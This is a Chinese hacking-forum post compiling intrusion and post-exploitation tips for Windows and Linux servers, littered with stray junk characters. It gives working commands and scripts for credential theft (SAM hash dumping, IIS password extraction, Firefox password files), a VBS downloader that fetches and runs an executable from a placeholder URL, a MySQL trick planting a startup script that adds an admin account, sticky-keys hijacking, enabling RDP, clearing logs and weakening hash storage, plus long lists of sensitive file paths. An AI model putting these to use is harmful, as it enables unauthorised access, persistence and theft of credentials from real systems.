3 j) _; H- Z4 H; |% a- s- F& F% Z感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
" O; u% O* }0 [1 I# O————————————————————————————
. M; m- f) x6 D, F# {/ f/ P1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
  D8 O1 s0 t4 A若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
% T5 B' j9 f; H' \5 ]那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
/ Y$ P1 d/ d* A6 L6 w4 g9 i, l6 f}  
; s! T$ f% |8 ~; L  G
" w+ v3 I) T+ ^, E  X' f6 o提权先执行systeminfo
token 漏洞补丁号 KB956572
* y$ _6 t& D$ K1 R6 [# Y% O# q5 FChurrasco          kb952004
命令行RAR打包~~·
7 V) {( ?) f6 d: ~- Q) Z+ t* brar a -k -r -s -m3 c:\1.rar c:\folder
% T3 \3 E$ [  @# R! n——————————————
2、收集系统信息的脚本  
% c) n& @+ `9 y1 C. I( sfor window：

6 F: N: [# n- }@echo off
echo #########system info collection
( m6 }) d! b, w; x" xsysteminfo
! {2 y0 c$ d) l9 O* Y! p2 Xver
hostname
net user
, I6 t: v$ }! e! x/ t3 Fnet localgroup
2 t/ A0 m: v4 @' O1 X; ?. lnet localgroup administrators
. n" A" U( [) p# pnet user guest
9 Q5 O4 V9 [" enet user administrator
! w; w, N, ^) ^8 C, a5 a# m
7 u' |3 j' K2 n2 o" T$ {* o' kecho #######at- with   atq#####
echo schtask /query

/ p- S* V1 n$ n4 D: yecho
echo ####task-list#############
/ \1 O+ q+ w  }, jtasklist /svc
echo
3 v5 y: d! H: E1 gecho ####net-work infomation
ipconfig/all
route print
arp -a
& R2 F+ c3 y4 |% h4 @' j: U; ynetstat -anipconfig /displaydns
echo
echo #######service############
sc query type= service state= all
echo #######file-##############
5 g/ ?2 {3 l, C5 Acd \
tree -F
for linux：

#!/bin/bash
, @# @; ]/ X; _' r
; o% h4 e8 N5 [7 |* j- `) V: ]: Wecho #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
- W* s  \+ g$ f6 x. P' Y# @8 |echo #######basic infomation##
1 P, {8 Z' j2 P- t9 lcat /proc/meminfo
) h/ z% Y! E- o2 Gecho
cat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
' x2 [* u; x; o9 m######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null


echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
/ V  T8 F; a3 D$ V' lcrontab -l
7 m5 ^1 B* M6 Y9 _echo #####about var#####
1 _9 Z- m6 I3 q# ?  Y) T5 L/ U. Uset

) P9 P1 U" t' p/ }3 f) xecho #####about network###
8 O' ?6 H! S( R8 k####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
! j3 g6 B; P. q$ K- p& jhostname
6 @. D! j0 F' n; e& i9 J3 [ipconfig -a
arp -v
echo ########user####
cat /etc/passwd|grep -i sh

8 M+ _6 G% D" z- a0 ~echo ######service####
9 r9 f3 I9 g! t1 @chkconfig --list
# G4 S* E* u- O- Z
for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done

locate passwd >/tmp/password 2>/dev/null
* |' u- g# V5 Qsleep 5
5 x  m/ j' D# q0 a$ Plocate password >>/tmp/password 2>/dev/null
sleep 5
$ q6 P' d) O6 Slocate conf >/tmp/sysconfig 2>dev/null
& j9 l6 v- ^; W4 k5 p& c& W5 asleep 5
- P4 s% `) J) `locate config >>/tmp/sysconfig 2>/dev/null
sleep 5
) _% {9 z% q) K) L5 Y0 G
###maybe can use "tree /"###
  a$ {  y& s1 [( E" D  p, {echo ##packing up#########
3 C, [# V. a) q# B/ Btar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
" O+ G! ^% }' b$ l, {/ y9 \rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
( J$ f3 c2 \2 b: j( I9 v/ u  {6 G3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
6 C, A# I+ [7 l接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
7 Y% [/ j/ y8 `/ g据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
1
$ _4 x. i* s7 G6 M( Necho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
! X3 d: N3 o! K& Qecho sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
0 @! _8 e1 L6 P1 X9 M, q& jecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
$ b. W) K+ y, l1 i5 g( `" xecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
5 A+ U3 N) e" Z# k- techo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
. T# h; ]. m( L6 a: M* I2 D
2
On Error Resume Nextim iRemote,iLocal,s1,s2
% u1 r! |) M) }: W, g$ \% j- iiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
% X* b4 d' U( @+ R/ y* jsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
! s" t8 g% V6 T7 _
& G* l- `7 U6 ]$ @9 b8 n( o- G4 Lcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
) ^  t. G0 v$ F  ?. R' j, u* I
+ ^7 c9 |% \$ ~, C$ \( J当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
& l: g, t# |6 M" X2 \4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
' K, c1 C$ q. m4 s; f/ G. P6、create table a (cmd text);
/ N; M; Y8 y7 f: ?+ b: g" C) tinsert into a values ("set wshshell=createobject (""wscript.shell"")");
, E1 c6 [5 f) A# u0 D5 O! binsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
* ?5 X* w4 O1 cinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
$ Z7 D8 w+ P4 ]! A# y7 _select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
' K. `' {' g/ m+ [8 w7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
5 E: H2 m7 h* p9 S+ ]8、for /d %i in (d:\freehost\*) do @echo %i
1 ?6 t* t* N' Y3 {* Q) z0 l, D
) X; \7 z' m# y% _. F- ]4 }列出d的所有目录
  
! j. p2 Z* {5 w& W% O  for /d %i in (???) do @echo %i
( x1 t% }8 ]8 T) I* n1 q
把当前路径下文件夹的名字只有1-3个字母的打出来
& z) X/ _$ h0 w
2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
4 _1 H0 \+ H* }- L6 _: S
2 Z8 @. j" D% N. Lfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
7 h& Y  q9 p- p" Y  r. a  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
. `5 D9 B" e: H) P" X8 Z" o5 a
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
/ ^; O+ s- ~" \" U4 {
  delims=后的空格是分隔符 tokens是取第几个位置
1 @$ C+ Z# p6 v4 K+ `$ z" S——————————
●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
! A+ _7 O: b) Z
) [% R* F3 u* l% T: {2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
5 A* p# b' G: R' b7 ]' C; `修改PortNumber.
* ^$ a  q5 _% t% _
3.清除3389登录记录:
& \% `) L: D$ T' Nreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
+ S* ]: F" W# A# A" ]& u* a! K+ R
( o# R% X" _( [' Z/ g! H4.Radmin密码:
6 V, x$ x. _# o/ J2 Xreg export HKLM\SYSTEM\RAdmin c:\a.reg
1 W7 D, F9 p1 `. y
* V; f  @" E7 I5.禁用TCP/IP端口筛选(需重启):
  F& U& I! _. F% c8 uREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

) t1 a# k& {7 X. i% i8 [6.IPSec默认免除项88端口(需重启):
4 B8 z5 a0 U+ _! z. A8 f" h, ?reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
& j9 m9 ^% t. J3 D4 B8 Vnetsh ipsec dynamic set config ipsecexempt value=0

9 [1 N/ Z' `' r* M. j7 D4 W7.停止指派策略"myipsec":
" n+ \" G7 L! A9 v- X; _( q0 dnetsh ipsec static set policy name="myipsec" assign=n

8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

  N! Z- v, m/ W- v9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
, q" f, `  }& J/ p- Sreg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
( s" D& s0 c& m: B
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
$ @9 q6 a8 G& z( P+ L; J-----------------------------------
, l- ^  V% {/ I% t* {星外vbs(注：测试通过，好东西）
2 E  A: g; x2 Z! h( E5 fSet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
, i' R8 T4 d, r) Bif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
msgbox("error!")
. s8 d2 D9 ^; Zwscript.quit
end if
. M1 W1 R9 m% {serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
" {1 l* H  |9 W( O* @+ g% O7 [end if
  r( v/ Y5 B2 d/ e- V2 Z# f6 @7 }2 }+ g6 WNext
wscript.echo list
Set ObjService=Nothing
$ o5 ?; R  t- E  s6 H# zwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
- b0 D$ ]( r2 a0 NWScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
) E7 P8 O5 u( M<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
3 e0 d% C! r' w8 k</OBJECT>
复制代码
# r" g( @0 }  z$ ]然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
9 K6 ^$ W4 k# _+ mPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
$ ]; ?) ~5 o, K$ i+ J( kasp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
0 s8 _* _3 G: \, X  G. Q9 [ path_info可以直接呈现虚拟路径 顺利解析gif大马
3 F7 P7 _/ V4 ~: s5 i1 I6 N# \
==============================================================
LINUX常见路径：

- s: x$ j2 F" q/etc/passwd
$ E0 A0 Q/ @7 h- |/etc/shadow
/etc/fstab
0 T! a! p2 J% U1 ^! k& A/etc/host.conf
% S* u3 L! e( d5 I& E% C. a/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
* u0 F% w6 Z$ u/var/httpd/conf/php.ini
4 c$ e9 y" Y+ _' T6 Z/var/httpd/htdocs/index.php
6 V& x9 j* X; M& E1 [/var/httpd/conf/httpd.conf
3 R! `6 V- k, w9 C' y- ^3 n/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
) l* z+ G* X- f7 f" s' \/var/www/index.html
/var/www/index.php
9 j# ^  L, s* m8 n8 _! z/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
5 {0 i" }/ Y. P# b6 v" s/usr/local/apache/htdocs/index.html
+ H5 ~  K% U5 g8 Y; @$ h- a/usr/local/apache/htdocs/index.php
! M' _/ w' G& p& {6 r/usr/local/apache2/htdocs/index.html
, S/ a, D1 V) ~* [2 P/usr/local/apache2/htdocs/index.php
& q. F5 V- ]% {9 x/ b" h2 p/usr/local/httpd2.2/htdocs/index.php
3 a! Z1 E1 X* B  K  Z/usr/local/httpd2.2/htdocs/index.html
0 A/ G% }. j0 _* V0 o/ U, D/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
2 O1 c" j# M9 g% {/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
9 a9 O) d! j  _, u; l& `/www/php/php.ini
0 k4 R6 Y& w% t; N6 [+ u* w/www/php4/php.ini
( d* F, x! Q# k1 p/www/php5/php.ini
/www/conf/httpd.conf
* L/ i4 ?( Z# @/www/htdocs/index.php
! i2 O0 o: ~4 H. l5 M/ X/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
1 `4 Z! A' M. c, T* ?/apache/apache/conf/httpd.conf
6 O0 ^& b3 F1 j6 O! b/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
. r) C" f+ E7 @0 j/etc/apache2/apache.conf
7 b3 W2 T5 i1 u  }/etc/apache/httpd.conf
/etc/apache2/httpd.conf
, I8 m* b' W; _! v, Q5 h3 o/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
4 q0 t+ Y6 |8 r/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
# O, O$ I; ~: q. A/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
7 g2 m9 U& W; t; i6 Q# }/ u2 Z3 E/etc/httpd/logs/access_log
/ ]6 z. @% b+ {/ I0 ^8 |% {/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
5 j# w( |! A0 V. m: N: ?/var/log/apache/error_log
/ h5 Y6 Z- E* l2 \/var/log/apache/error.log
/var/log/apache/access_log
2 B6 h% ^# p: b$ N) U/var/log/apache/access.log
/var/log/apache2/error_log
- g* Q0 I5 Y7 q" v% V/var/log/apache2/error.log
/var/log/apache2/access_log
$ v3 ^9 l6 H  C; Z4 B+ K3 ^+ y/var/log/apache2/access.log
/var/www/logs/error_log
; H% o  F  x: p2 y( S/var/www/logs/error.log
1 Y  a: `2 o, [3 u7 M/ Q1 r& ~- f/var/www/logs/access_log
$ v, t- C" S% \2 s: K" B/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
- y7 d! }( s, [/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
6 T8 ]1 A9 F, ?/var/log/error_log
/var/log/error.log
/var/log/access_log
0 M) m% r: s$ G, d7 N/var/log/access.log
3 W7 G4 b$ }, W: h- Y/usr/local/apache/logs/access_logaccess_log.old
8 W9 ]* [8 w5 ?, m; \' H/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
5 y5 @" Z8 @4 a# `3 c3 `9 c* b* ~/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
" u6 I8 m4 w7 \9 k/usr/local/lib/php.ini
7 O1 a' p, J& ^8 N7 S/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
4 M. H- }$ G' M/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
8 C0 t: q0 V$ R4 F% g6 Y7 m3 |! ]/usr/local/apache2/conf/php.ini
/ ?9 Z$ v* u7 `* Y1 S/etc/php4.4/fcgi/php.ini
! d4 p- f0 A5 Y- ?* {, L/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
6 U7 a+ I8 H" u; j' Q/etc/php/php.ini
) T' z: C! Q( U! d0 N. J" M/etc/php/php4/php.ini
/ @% L# t/ s/ B/etc/php/apache/php.ini
' L' N1 B. w5 h+ h2 `" M/etc/php/apache2/php.ini
/web/conf/php.ini
% h' M* u. p7 A. s* ]( |- U1 P/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
- e* ?' i1 g1 W3 q9 l2 S/etc/php/cgi/php.ini
; \+ }3 Y+ }* n' B8 s/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
2 [. q* A1 A# b: @' H/php5/php.ini
/php4/php.ini
/php/php.ini
/PHP/php.ini
. \$ y: E: ?% t% ~: |2 E/apache/php/php.ini
# ]$ V2 J8 o5 a6 b* d7 U1 K, j/xampp/apache/bin/php.ini
2 }8 |! c8 }  E) h* f/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
5 h& ~( `5 ^' h  B/var/log/mysql.log
1 E2 E* v. S4 ?8 O( X/var/log/mysqlderror.log
/var/log/mysql/mysql.log
) M( V  ~, V( n/var/log/mysql/mysql-slow.log
( N4 W7 g  ]& @2 A1 \( ~/ P/var/mysql.log
/var/lib/mysql/my.cnf
& C) ^+ ?: i7 H  G4 }/ Q2 X/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
$ Y! b/ x# s# V$ q3 s' X7 j/etc/mysql/my.cnf
; N; H! a  Y. f4 |! c* ^# r/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
. @7 Z9 F" _" t/ }! n$ w2 J/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
  j1 J- P( B& E# U9 e/usr/local/cpanel/logs/login_log
! n. `1 r+ k9 i$ x8 S( \! Q/usr/local/cpanel/logs/stats_log
8 a) ^! X9 i  p" l9 f/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
8 c8 y' h( J6 ?/ m7 t  V. T3 W6 C
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
& Y) v) G: w5 }& Nc:\boot.ini
c:\1.txt
; ^. Z. J8 I" R$ J  Fc:\a.txt

5 g" _9 L: w6 |' y' Mc:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
; c% F" j4 L1 x% s+ m# vc:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
3 V2 B5 l. H  j) X) h" ^! `C:\WinWebMail\SysInfo.ini
: Z6 J; a( f5 p/ p) R- ?C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
" `; J6 y+ }6 R& {) ]C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
. w7 b& e+ ~% O  q
: X+ d& O0 `# rc:\hzhost\databases\url.asp
% U( D8 }$ _; i0 K9 F# _$ i* A
c:\hzhost\hzclient.exe
3 X4 `6 G7 @7 C! O  x9 r5 J7 p0 Z. cC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
" O4 S7 s) h! m+ H, _" ?9 vc:\www\index.html
/ z2 g0 n) p$ F4 P' Wc:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
c:\www\index.asp
, I: j2 d4 V, {( Ac:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
c:\WWWROOT\index.php
4 R" W, E$ V1 P1 {c:\WWWsite\index.php
' u9 L# H" K, D8 ]- Wc:\web\default.html
& e& V( v8 Z) g! {1 O- [7 y! S, P9 |! gc:\www\default.html
c:\WWWROOT\default.html
6 ]. ]7 y5 y, Y1 H3 Qc:\website\default.html
c:\web\default.asp
c:\www\default.asp
- }3 F& M8 ?9 Z0 ]* Q& Bc:\wwwsite\default.asp
, E, b4 |+ p0 m4 w9 d" c9 ^c:\WWWROOT\default.asp
c:\web\default.php
7 s* Q# P5 h' ]- n/ a6 Y$ wc:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
, w/ l; Y( \0 x2 N2 @' A# w* DC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
& [+ S0 w6 N, Y. G7 G$ B3 Mc:\winnt\notepad.exe
9 g  A4 L  X  b7 C! j0 _$ KC:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
1 E# n! q% z6 `2 }9 aC:\Program Files\Internet Explorer\IEXPLORE.EXE
2 ~% C, }2 p/ ]5 |6 @C:\Program Files\winrar\rar.exe
1 z( v0 \) {' c# D5 ?: H$ `C:\Program Files\360\360Safe\360safe.exe
5 g7 z( V" n+ w( P0 sC:\Program Files\360Safe\360safe.exe
4 N' L' ?5 f' X5 hC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
: }  z  Q5 M7 v8 a8 i6 WC:\Program Files\Rising\Rav\RsTask.xml
* f0 U/ |! p8 i& Z( X# K% z1 Y' rC:\Documents and Settings\All Users\Start Menu\desktop.ini
+ x& ~) ]* C) r- n" G; vC:\Documents and Settings\Administrator\My Documents\Default.rdp
; f! c+ O# N( a/ V* i9 AC:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
1 O1 G2 W. g  S) }C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
: }2 i# V( T( q$ L  O* l4 V( m; DC:\Documents and Settings\Administrator\桌面\a.txt
" O2 n* f' D0 M* [6 [9 QC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
+ ^& B" l) j6 g8 b! yC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
! K) ~* O' l+ A; DC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
; j4 U  q" [" K4 h$ f& n" HC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
0 N/ N2 b# @2 Y# JC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
1 ^% ?' ^, X6 c  m# m& b% I& RC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
9 Q3 e# _' [. g9 K, D2 TC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
/ B( J' q5 j, j/ zC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
$ c+ m" q  g. _% Q4 zC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
; t5 d% c# R& n. [6 m6 f" YC:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
0 o. u: y4 H' t+ w* TC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
! x. T, \+ w5 D4 Qc:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
* P+ x  b5 H; G6 C+ C- F* RC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
9 ]# }- W5 W2 I/ W" j" MC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
; k# y% r1 E9 d0 R; ^* }# z& B; q+ qC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
* a: J8 Q  x/ _5 r' f- b; Ac:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
+ Z/ c& I2 B0 {9 b, r# jc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
' @7 r. g, s& n7 S% t$ zc:\Apache2\php\license.txt
1 Y6 @: A1 E' x% G+ f( W* x. |C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
2 F, ^. g* ^  c" H/usr/share/tomcat6/bin/startup.sh
: _, l+ @9 H, U) T( Y/ Y! R/usr/tomcat6/bin/startup.sh
* U$ |% P$ x) p- f/ m$ e+ sc:\Program Files\QQ2007\qq.exe
& o+ J' a# _6 t+ ^$ S  j( wc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
: r& g: W5 c0 P) x1 j2 c: oc:\Program Files\Tencent\qq2008\qq.exe
' ^0 ~5 ^, h+ Ec:\Program Files\Tencent\qq2010\bin\qq.exe
  _3 d0 {  n; H/ o7 `c:\Program Files\Tencent\qq\Users\All Users\Registry.db
7 Z: K1 w8 W& ]" n5 Q+ b3 ~C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
) R0 U+ K6 g; c' W3 J. H# g7 u4 G3 dc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
